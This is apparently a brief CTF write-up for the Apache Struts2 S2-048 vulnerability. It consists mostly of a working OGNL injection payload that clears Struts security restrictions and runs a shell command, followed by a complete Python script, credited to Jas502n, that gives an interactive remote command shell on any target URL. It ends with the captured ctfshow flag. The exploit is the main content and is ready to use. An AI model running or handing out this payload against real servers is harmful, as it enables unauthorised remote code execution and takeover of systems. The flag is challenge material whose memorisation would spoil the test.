S2-048
    https://blog.csdn.net/qq_36374896/article/details/84145292

    验证
    image.png
    image.png

    命令执行
    poc

    1. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())).(#q)}

    image.png

    image.png

    1. #!/usr/bin/python
    2. # -*- coding: utf-8 -*-
    3. '''
    4. ____ ____ ___ _ _ ___
    5. / ___|___ \ / _ \| || | ( _ )
    6. \___ \ __) |____| | | | || |_ / _ \
    7. ___) / __/_____| |_| |__ _| (_) |
    8. |____/_____| \___/ |_| \___/
    9. ____ ____ _____ _ _ _ _
    10. | _ \ / ___| ____| / \ | |_| |_ _ __ __ _ ___| | __
    11. | |_) | | | _| / _ \| __| __| '__/ _` |/ __| |/ /
    12. | _ <| |___| |___ / ___ \ |_| |_| | | (_| | (__| <
    13. |_| \_\\____|_____| /_/ \_\__|\__|_| \__,_|\___|_|\_\
    14. Author By Jas502n
    15. https://github.com/jas502n/st2-048
    16. '''
    17. import json,re
    18. import requests
    19. import threading
    20. import urllib
    21. def Poc(url,command):
    22. header = {'Content-Type': 'application/x-www-form-urlencoded'}
    23. poc = {"name":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=' \
    24. "+command+"').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.close())}","age":"1","__checkbox_bustedBefore":"true","description":"123123"}
    25. data = urllib.urlencode(poc)
    26. try:
    27. result = requests.post(url,data=data,headers=header)
    28. if result.status_code == 200:
    29. print result.content
    30. except requests.ConnectionError,e:
    31. print e
    32. th = {"url":""}
    33. while True:
    34. if th.get("url") != "":
    35. input_cmd = raw_input("cmd >>: ")
    36. if input_cmd == "exit":
    37. exit()
    38. elif input_cmd == 'set':
    39. url = raw_input("set url :")
    40. th['url'] = url
    41. elif input_cmd == 'show url':
    42. print th.get("url")
    43. else:
    44. Poc(th.get("url"),input_cmd)
    45. else:
    46. url = raw_input("set url :")
    47. th["url"] = url

    image.png

    FLAG=ctfshow{65c41758-391d-4e29-8bb2-cf0972abad9f}